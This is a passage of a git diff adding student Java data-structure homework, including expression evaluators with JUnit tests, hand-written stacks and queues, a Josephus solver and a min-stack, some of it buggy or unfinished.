+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("10-2*3+50");
+            Assert.assertEquals(54, expr.evaluate(), 0.001f);
+        }
+
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/Stack.java b/group23/601689050/6weekInfixExpr/Stack.java
new file mode 100644
index 0000000000..8a15be4366
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/Stack.java
@@ -0,0 +1,50 @@
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class Stack {
+    public ArrayList array;
+    public int count;
+    public Stack(){
+        array = new ArrayList();
+    }
+    public void push (Object o){
+        count ++ ;
+        array.add(o);
+    }
+    public Object pop(){
+        count -- ;
+        Object o = array.get(count);
+        array.remove(o);
+        return o;
+    }
+    public Object peek(){
+        if(count  == 0){
+            throw new EmptyStackException();
+        }
+        return array.get(array.size()-1);
+    }
+    public boolean isEmpty(){
+        return array.size() == 0;
+    }
+    public int size(){
+        return count;
+    }
+    public String toString(){
+        StringBuilder string = new StringBuilder();
+        Stack s = new Stack();
+        int size = this.size();
+        for(int i = 0;i<size;i++){
+            string.append(this.peek().toString());
+            if(i < size -1)
+                string.append(",");
+            s.push(this.pop());
+        }
+        while (!s.isEmpty()){
+            this.push(s.pop());
+        }
+        return string.toString();
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/Token.java b/group23/601689050/6weekInfixExpr/Token.java
new file mode 100644
index 0000000000..753dbe75a0
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/Token.java
@@ -0,0 +1,46 @@
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+
+
+public class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
+    public static final Map<String,Integer> priorities = new HashMap<>();
+    static {
+        priorities.put("+",1);
+        priorities.put("-",1);
+        priorities.put("*",2);
+        priorities.put("/",2);
+    }
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+    public Token(int type,String value){
+        this.type = type;
+        this.value = value;
+    }
+    public boolean isNumber(){
+        return type == NUMBER;
+    }
+    public boolean isOpretor(){
+        return type == OPERATOR;
+    }
+    public int getIntValue(){
+        return Integer.valueOf(value).intValue();
+    }
+    public String toString(){
+        return value;
+    }
+    public boolean hasHigherPriority(Token t){
+        if (!this.isOpretor() && !t.isOpretor()){
+            throw new RuntimeException();
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/TokenParser.java b/group23/601689050/6weekInfixExpr/TokenParser.java
new file mode 100644
index 0000000000..3e966cc0a3
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/TokenParser.java
@@ -0,0 +1,47 @@
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class TokenParser {
+    public List<Token> parse(String expr){
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR,String.valueOf(c));
+                tokens.add(t);
+                i++;
+            }else if(Character.isDigit(c)){
+                int nextOperatorIndex = indexOfNextOperator(i,expr);
+                String value = expr.substring(i,nextOperatorIndex);
+                Token t = new Token(Token.NUMBER,value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+            }else {
+                System.out.println("输入值不符合要求");
+                i++;
+            }
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+        while(Character.isDigit(expr.charAt(i))){
+            i++;
+            if(i == expr.length()){
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group23/601689050/7weekExpr2/InfixExpr.java b/group23/601689050/7weekExpr2/InfixExpr.java
new file mode 100644
index 0000000000..77c310465e
--- /dev/null
+++ b/group23/601689050/7weekExpr2/InfixExpr.java
@@ -0,0 +1,61 @@
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class InfixExpr {
+    String expr = null;
+    public InfixExpr(String expr){
+        this.expr = expr;
+    }
+    public float evaluate(){
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Token> opStack = new Stack<>();
+        Stack<Float> numStack = new Stack();
+        for(Token token : tokens){
+            if(token.isOperator()){
+                if(opStack.isEmpty()){
+                    opStack.push(token);
+                }else {
+                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+                        Token prevOperator = opStack.pop();
+                        Float f2 = numStack.pop();
+                        Float f1 = numStack.pop();
+                        Float result = calculate(prevOperator.toString(),f1,f2);
+                        numStack.push(result);
+                    }
+                    opStack.push(token);
+                }
+            }
+            if(token.isNumber()){
+                numStack.push(new Float(token.getIntValue()));
+            }
+        }
+        while (!opStack.isEmpty()){
+            Token token = opStack.pop();
+            Float f2 = numStack.pop();
+            Float f1 = numStack.pop();
+            numStack.push(calculate(token.toString(),f1,f2));
+        }
+        return numStack.pop().floatValue();
+
+    }
+
+    private Float calculate(String op, float f1, float f2) {
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if(op.equals("/")){
+            return f1 / f2;
+        }
+        return null;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/InfixToPostfix.java b/group23/601689050/7weekExpr2/InfixToPostfix.java
new file mode 100644
index 0000000000..7833ebf8f7
--- /dev/null
+++ b/group23/601689050/7weekExpr2/InfixToPostfix.java
@@ -0,0 +1,35 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class InfixToPostfix {
+
+    String expr = null;
+    public InfixToPostfix(String expr){
+        this.expr = expr;
+    }
+    TokenParser parser = new TokenParser();
+    List<Token> tokens = parser.parse(this.expr);
+    Stack<Token> opStack = new Stack<>();
+    Stack<String> allStack = new Stack<>();
+    public Stack change(){
+        for(Token token : tokens){
+            if(token.isOperator()){
+                if(opStack.isEmpty()){
+                    opStack.push(token);
+                }else{
+                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+                        Token preOperator = opStack.pop();
+                        allStack.push(preOperator.toString());
+                    }
+                }
+            }
+            if (token.isNumber()){
+                allStack.push(token.toString());
+            }
+        }
+        return allStack;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PostfixExpr.java b/group23/601689050/7weekExpr2/PostfixExpr.java
new file mode 100644
index 0000000000..5c128db330
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PostfixExpr.java
@@ -0,0 +1,45 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Float> numStack = new Stack<>();
+        for(Token token : tokens){
+            if(token.isNumber()){
+                numStack.push(new Float(token.getIntValue()));
+            }
+            if(token.isOperator()){
+                Float f2 = numStack.pop();
+                Float f1 = numStack.pop();
+                numStack.push(calculate(token.toString(),f1,f2));
+            }
+        }
+        return numStack.pop().floatValue();
+    }
+    private Float calculate(String op, float f1, float f2){
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if (op.equals("/")){
+            return f1 / f2;
+        }
+        return null;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PostfixExprTest.java b/group23/601689050/7weekExpr2/PostfixExprTest.java
new file mode 100644
index 0000000000..bad5b82bec
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PostfixExprTest.java
@@ -0,0 +1,37 @@
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PostfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+            Assert.assertEquals(288, expr.evaluate(),0.0f);
+        }
+        {
+            //9+(3-1)*3+10/2
+            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+            Assert.assertEquals(20, expr.evaluate(),0.0f);
+        }
+
+        {
+            //10-2*3+50
+            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+            Assert.assertEquals(54, expr.evaluate(),0.0f);
+        }
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PrefixExpr.java b/group23/601689050/7weekExpr2/PrefixExpr.java
new file mode 100644
index 0000000000..77652af742
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PrefixExpr.java
@@ -0,0 +1,51 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Float> numStack = new Stack<>();
+        Stack<Token> allStack = new Stack<>();
+        for (Token token : tokens) {
+            allStack.push(token);
+        }
+        while (!allStack.isEmpty()) {
+            if (allStack.peek().isNumber()) {
+                numStack.push(new Float(allStack.pop().getIntValue()));
+            }
+            if (allStack.peek().isOperator()) {
+                Token token = allStack.pop();
+                Float f1 = numStack.pop();
+                Float f2 = numStack.pop();
+                numStack.push(calculate(token.toString(), f1, f2));
+            }
+        }
+        return numStack.pop().floatValue();
+    }
+
+    private Float calculate(String op, float f1, float f2){
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if (op.equals("/")){
+            return f1 / f2;
+        }
+        return null;
+    }
+}
diff --git a/group23/601689050/7weekExpr2/PrefixExprTest.java b/group23/601689050/7weekExpr2/PrefixExprTest.java
new file mode 100644
index 0000000000..8d1074d5d3
--- /dev/null
+++ b/group23/601689050/7weekExpr2/PrefixExprTest.java
@@ -0,0 +1,42 @@
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class PrefixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            // 2*3+4*5
+            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+            Assert.assertEquals(26, expr.evaluate(),0.001f);
+        }
+        {
+            // 4*2 + 6+9*2/3 -8
+            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+            Assert.assertEquals(12, expr.evaluate(),0.001f);
+        }
+        {
+            //(3+4)*5-6
+            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+            Assert.assertEquals(29, expr.evaluate(),0.001f);
+        }
+        {
+            //1+((2+3)*4)-5
+            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+            Assert.assertEquals(16, expr.evaluate(),0.001f);
+        }
+
+    }
+}
diff --git a/group23/601689050/7weekExpr2/Stack.java b/group23/601689050/7weekExpr2/Stack.java
new file mode 100644
index 0000000000..614ba2860c
--- /dev/null
+++ b/group23/601689050/7weekExpr2/Stack.java
@@ -0,0 +1,50 @@
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class Stack {
+    public ArrayList array;
+    public int count;
+    public Stack(){
+        array = new ArrayList();
+    }
+    public void push (Object o){
+        count ++ ;
+        array.add(o);
+    }
+    public Object pop(){
+        count -- ;
+        Object o = array.get(count);
+        array.remove(o);
+        return o;
+    }
+    public Object peek(){
+        if(count  == 0){
+            throw new EmptyStackException();
+        }
+        return array.get(array.size()-1);
+    }
+    public boolean isEmpty(){
+        return array.size() == 0;
+    }
+    public int size(){
+        return count;
+    }
+    public String toString(){
+        StringBuilder string = new StringBuilder();
+        Stack s = new Stack();
+        int size = this.size();
+        for(int i = 0;i<size;i++){
+            string.append(this.peek().toString());
+            if(i < size -1)
+                string.append(",");
+            s.push(this.pop());
+        }
+        while (!s.isEmpty()){
+            this.push(s.pop());
+        }
+        return string.toString();
+    }
+}
diff --git a/group23/601689050/7weekExpr2/Token.java b/group23/601689050/7weekExpr2/Token.java
new file mode 100644
index 0000000000..069178c5b7
--- /dev/null
+++ b/group23/601689050/7weekExpr2/Token.java
@@ -0,0 +1,49 @@
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+    private static final Map<String,Integer> priorities = new HashMap<>();
+    static {
+        priorities.put("+", 1);
+        priorities.put("-", 1);
+        priorities.put("*", 2);
+        priorities.put("/", 2);
+    }
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+    public Token(int type, String value){
+        this.type = type;
+        this.value = value;
+    }
+
+    public boolean isNumber() {
+        return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+        return type == OPERATOR;
+    }
+
+    public int getIntValue() {
+        return Integer.valueOf(value).intValue();
+    }
+    public String toString(){
+        return value;
+    }
+
+    public boolean hasHigherPriority(Token t){
+        if(!this.isOperator() && !t.isOperator()){
+            throw new RuntimeException("numbers can't compare priority");
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+
+}
diff --git a/group23/601689050/7weekExpr2/TokenParser.java b/group23/601689050/7weekExpr2/TokenParser.java
new file mode 100644
index 0000000000..17716e0c08
--- /dev/null
+++ b/group23/601689050/7weekExpr2/TokenParser.java
@@ -0,0 +1,47 @@
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class TokenParser {
+    public List<Token> parse(String expr){
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR,String.valueOf(c));
+                tokens.add(t);
+                i++;
+            }else if(Character.isDigit(c)){
+                int nextOperatorIndex = indexOfNextOperator(i,expr);
+                String value = expr.substring(i,nextOperatorIndex);
+                Token t = new Token(Token.NUMBER,value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+            }else {
+                //System.out.println("输入值不符合要求");
+                i++;
+            }
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+        while(Character.isDigit(expr.charAt(i))){
+            i++;
+            if(i == expr.length()){
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group23/601689050/8weekQueue/CircleQueue.java b/group23/601689050/8weekQueue/CircleQueue.java
new file mode 100644
index 0000000000..7ca98467ec
--- /dev/null
+++ b/group23/601689050/8weekQueue/CircleQueue.java
@@ -0,0 +1,44 @@
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class CircleQueue{
+
+    private int size;
+    private int first;
+    private int last;
+    Object[] queue;
+
+    public CircleQueue(int size){
+        queue = new Object[size];
+        first = 0;
+        last = 0;
+    }
+
+    public boolean isEmpty(){
+        return first == last;
+    }
+
+    public void enCircleQueue(Object o){
+        if( (last+1) % size == first){
+               System.out.println("Circle Queue is full");
+        }else {
+            queue[last] = o;
+            last = (last+1) % queue.length;
+        }
+    }
+
+    public int getSize(){
+        return (last - first + queue.length) % queue.length;
+    }
+
+    public Object deCircleQueue(){
+        if(isEmpty()){
+            return null;
+        }else{
+            Object item = queue[first];
+            first = (first+1)%queue.length;
+            return item;
+        }
+
+    }
+}
diff --git a/group23/601689050/8weekQueue/Josephus.java b/group23/601689050/8weekQueue/Josephus.java
new file mode 100644
index 0000000000..6e24811da3
--- /dev/null
+++ b/group23/601689050/8weekQueue/Josephus.java
@@ -0,0 +1,50 @@
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+
+
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * @author
+ *
+ */
+public class Josephus {
+
+    private static class Node {
+        int data;
+        Node next;
+
+        public Node(int i) {
+            data = i;
+        }
+    }
+
+    public static void execute(int n, int m) {
+
+        Node header = new Node(0);
+        Node pointer = header;
+        for (int i = 1; i < n; i++) {
+            pointer.next = new Node(i);
+            pointer = pointer.next;
+        }
+        pointer.next = header;
+        while (pointer != pointer.next) {
+            for (int i = 1; i <= m; i++) {
+                pointer = pointer.next;
+            }
+            System.out.println(pointer.next.data);
+            pointer.next = pointer.next.next;
+        }
+        System.out.println(pointer.next.data);
+
+    }
+    public static void main(String args[]){
+        Josephus circle = new Josephus();
+        circle.execute(8,4);
+    }
+}
diff --git a/group23/601689050/8weekQueue/Queue.java b/group23/601689050/8weekQueue/Queue.java
new file mode 100644
index 0000000000..bdfd22b16f
--- /dev/null
+++ b/group23/601689050/8weekQueue/Queue.java
@@ -0,0 +1,55 @@
+import javax.xml.soap.Node;
+import java.util.NoSuchElementException;
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class Queue<E> {
+
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+    private static class Node<E>{
+        private E item;
+        private Node<E> next;
+    }
+    public Queue(){
+        first = null;
+        last = null;
+        size = 0;
+    }
+    public boolean isEmpty(){
+        return first == null;
+    }
+    public int size(){
+        return size;
+    }
+    public void enQueue(E data){
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if(isEmpty()){
+            first = last;
+        }else {
+            oldlast.next = last;
+        }
+        size++;
+    }
+    public E deQueue(){
+        if(isEmpty()){
+            throw new NoSuchElementException("queue is empty");
+        }else{
+            E item = first.item;
+            first = first.next;
+            size--;
+            if(isEmpty()){
+                last = null;
+            }
+            return item;
+        }
+    }
+
+
+}
diff --git a/group23/601689050/8weekQueue/QueueWithTwoStacks.java b/group23/601689050/8weekQueue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..c8976aca56
--- /dev/null
+++ b/group23/601689050/8weekQueue/QueueWithTwoStacks.java
@@ -0,0 +1,47 @@
+import java.util.Stack;
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+    public QueueWithTwoStacks(){
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty(){
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+    public int size()
+    {
+        return stack1.size() + stack2.size();
+    }
+
+    public void enQueue(E item){
+
+        stack1.push(item);
+    }
+
+    public E deQueue(){
+        if(stack2.isEmpty()){
+            while(!stack1.isEmpty()){
+                stack2.push(stack1.pop());
+            }
+        }
+        return stack2.pop();
+    }
+    public static void main(String args[]){
+        QueueWithTwoStacks queue = new QueueWithTwoStacks();
+        queue.enQueue(1);
+        queue.enQueue(5);
+        queue.enQueue(4);
+        queue.enQueue(0);
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+    }
+}
diff --git a/group23/601689050/9weekStack/QuickMinStack.java b/group23/601689050/9weekStack/QuickMinStack.java
new file mode 100644
index 0000000000..4033461599
--- /dev/null
+++ b/group23/601689050/9weekStack/QuickMinStack.java
@@ -0,0 +1,50 @@
+/**
+ * Created by lxx on 2017/5/6.
+ */
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack extends Stack<Integer> {
+
+    Stack<Integer> sMin;
+    public QuickMinStack(){
+        sMin = new Stack<Integer>();
+    }
+    public void push(int data){
+        if(data <= findMin()){
+            sMin.push(data);
+        }
+        super.push(data);
+    }
+    public Integer pop(){
+        int value = super.pop();
+        if(value == findMin()){
+            sMin.pop();
+        }
+        return value;
+    }
+    public int findMin(){
+        if(sMin.isEmpty()){
+            return Integer.MAX_VALUE;
+        }
+        return sMin.peek();
+    }
+
+    public static void main(String args[]){
+        QuickMinStack stack = new QuickMinStack();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(0);
+        System.out.println(stack.pop().intValue());
+        System.out.println(stack.findMin());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/601689050/9weekStack/StackWithTwoQueues.java b/group23/601689050/9weekStack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..8eb1d996bf
--- /dev/null
+++ b/group23/601689050/9weekStack/StackWithTwoQueues.java
@@ -0,0 +1,52 @@
+import java.util.LinkedList;
+
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class StackWithTwoQueues {
+
+    LinkedList<Integer> queue1=new LinkedList<Integer>();
+    LinkedList<Integer> queue2=new LinkedList<Integer>();
+    public void push(int data){
+        queue1.addLast(data);
+    }
+    public int pop() {
+        if (sSize() > 0) {
+            if (!queue1.isEmpty()) {
+                while (queue1.size() > 1) {
+                    queue2.addLast(queue1.removeFirst());
+                }
+                return queue1.removeFirst();
+            } else {
+                while (queue2.size() > 1) {
+                    queue1.addLast(queue2.removeFirst());
+                }
+                return queue2.removeFirst();
+            }
+        } else {
+            System.out.println("栈空,不能出栈");
+            return Integer.MAX_VALUE;
+        }
+    }
+    public int sSize(){
+        return queue1.size() + queue2.size();
+    }
+    public static void main(String[] args)
+    {
+        StackWithTwoQueues stack=new StackWithTwoQueues();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(4);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        stack.push(5);
+        stack.push(6);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/601689050/9weekStack/TwoStackInOneArray.java b/group23/601689050/9weekStack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..916e1dab3b
--- /dev/null
+++ b/group23/601689050/9weekStack/TwoStackInOneArray.java
@@ -0,0 +1,81 @@
+import java.util.Stack;
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class TwoStackInOneArray {
+
+
+
+    Object[] data = new Object[10];
+
+    private int index1 = 0;
+    private int index2 = data.length - 1;
+
+
+    private boolean isFull() {
+        if (index1 == index2) {
+            return true;
+        } else
+            return false;
+    }
+
+    private void extendCapacity() {
+
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        return null;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return null;
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        return null;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        return null;
+    }
+
+}
diff --git a/group23/609041842/src/code/ArrayList.java b/group23/609041842/src/code/ArrayList.java
new file mode 100644
index 0000000000..8acbfe7de5
--- /dev/null
+++ b/group23/609041842/src/code/ArrayList.java
@@ -0,0 +1,49 @@
+package code;
+
+import java.util.Arrays;
+
+public class ArrayList {
+
+	private Object[] obj = new Object[0];
+
+	public void add(Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, obj.length);
+		tar[tar.length - 1] = o;
+		obj = tar;
+		System.out.println(Arrays.toString(obj));
+	}
+
+	public void add(int index, Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		tar[index] = o;
+		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
+		obj = tar;
+	}
+
+	public Object get(int index) {
+		return obj[index];
+	}
+	
+	public int size(){
+		return obj.length;
+	}
+
+	public Object remove(int index){
+		Object[] tar = new Object[obj.length-1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
+		Object o = obj[index];
+		obj = tar;
+		return o;//���ر�ɾԪ��
+	}
+	public static void main(String[] args) {
+		ArrayList al = new ArrayList();
+		al.add("hello");
+		al.add("java");
+		al.add(2, "addm");
+		System.out.println(al.remove(1));
+	}
+
+}
diff --git a/group23/609041842/src/code/LinkedList.java b/group23/609041842/src/code/LinkedList.java
new file mode 100644
index 0000000000..e42138022e
--- /dev/null
+++ b/group23/609041842/src/code/LinkedList.java
@@ -0,0 +1,87 @@
+package code;
+
+public class LinkedList {
+	private static Node head;
+	private Node last;
+	public int size;
+
+	public void add(Object o) {
+		Node l = last;
+		Node newNode = new Node(l, o, null);
+		last = newNode;
+		if (head == null) {
+			head = newNode;
+			size = 1;
+		} else {
+			l.next = newNode;
+			size++;
+		}
+	}
+
+	public void add(int index, Object o) {
+		Node n = node(index);
+		System.out.println(n.data);
+		Node pred = n.prev;
+		Node newNode = new Node(pred, o, n);
+		if (pred == null) {
+			head = newNode;
+		} else {
+			pred.next = newNode;
+		}
+		size++;
+	}
+
+	
+	public Node get(int index){
+		return node(index);
+	}
+	public Node node(int index) {
+		Node n = head;
+		for (int i = 0; i < index; i++) {
+			n = n.next;
+		}
+		return n;
+	}
+
+	public Node remove(int index){
+		Node del = node(index);
+		Node after = del.next;
+		Node before = del.prev;
+		before.next = after;
+		after.prev = before;
+		size--;
+		return del;
+	}
+	private static class Node {
+		Node next;
+		Object data;
+		Node prev;
+
+		private Node(Node prev, Object data, Node next) {
+			this.data = data;
+			this.next = next;
+			this.prev = prev;
+		}
+	}
+
+	public static void main(String[] arg) {
+		LinkedList ll = new LinkedList();
+		ll.add("hello");
+		ll.add("java");
+		ll.add("jvm");
+		ll.add("jvmd");
+		// System.out.println(ll.get(2));
+//		ll.add(1, "ds");
+		System.out.println(ll.get(0).data);
+		System.out.println(ll.get(1).data);
+		System.out.println(ll.get(2).data);
+		System.out.println(ll.get(3).data);
+		System.out.println(ll.size);
+	System.out.println(ll.remove(1).data);
+	System.out.println(ll.get(0).data);
+	System.out.println(ll.get(1).data);
+	System.out.println(ll.get(2).data);
+	System.out.println(ll.size);
+	}
+
+}
diff --git a/group23/609041842/src/code/Queue.java b/group23/609041842/src/code/Queue.java
new file mode 100644
index 0000000000..d4f70c2125
--- /dev/null
+++ b/group23/609041842/src/code/Queue.java
@@ -0,0 +1,17 @@
+package code;
+
+public class Queue {
+
+	private LinkedList lk = new LinkedList();
+	public void enQueue(Object o){
+		lk.add(o);
+	}
+	public void deQueue(){
+		lk.remove(lk.size-1);
+	}
+	public boolean isEmpty(){
+		if(lk.size == 0)
+			return true;
+		return false;
+	}
+}
diff --git a/group23/609041842/src/code/Stack.java b/group23/609041842/src/code/Stack.java
new file mode 100644
index 0000000000..7226d4d403
--- /dev/null
+++ b/group23/609041842/src/code/Stack.java
@@ -0,0 +1,30 @@
+package code;
+
+public class Stack {
+
+	private ArrayList array = new ArrayList();
+	
+	public void push(Object o){
+		array.add(o);
+	}
+	public Object pop(){
+		return array.remove(array.size()-1);
+	}
+	
+	public boolean isEmpty(){
+		if(array.size()<=0)
+			return true;
+		return false;
+	}
+	
+	public int size(){
+		return array.size();
+	}
+	public static void main(String[] args) {
+		Stack sc = new Stack();
+		sc.push("hello world");
+		sc.push("java");
+		sc.push("jvm");
+	}
+	
+}
diff --git a/group23/609041842/src/com/homework01/ArrayList.java b/group23/609041842/src/com/homework01/ArrayList.java
new file mode 100644
index 0000000000..1702690ae7
--- /dev/null
+++ b/group23/609041842/src/com/homework01/ArrayList.java
@@ -0,0 +1,49 @@
+package com.homework01;
+
+import java.util.Arrays;
+
+public class ArrayList {
+
+	private Object[] obj = new Object[0];
+
+	public void add(Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, obj.length);
+		tar[tar.length - 1] = o;
+		obj = tar;
+		System.out.println(Arrays.toString(obj));
+	}
+
+	public void add(int index, Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		tar[index] = o;
+		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
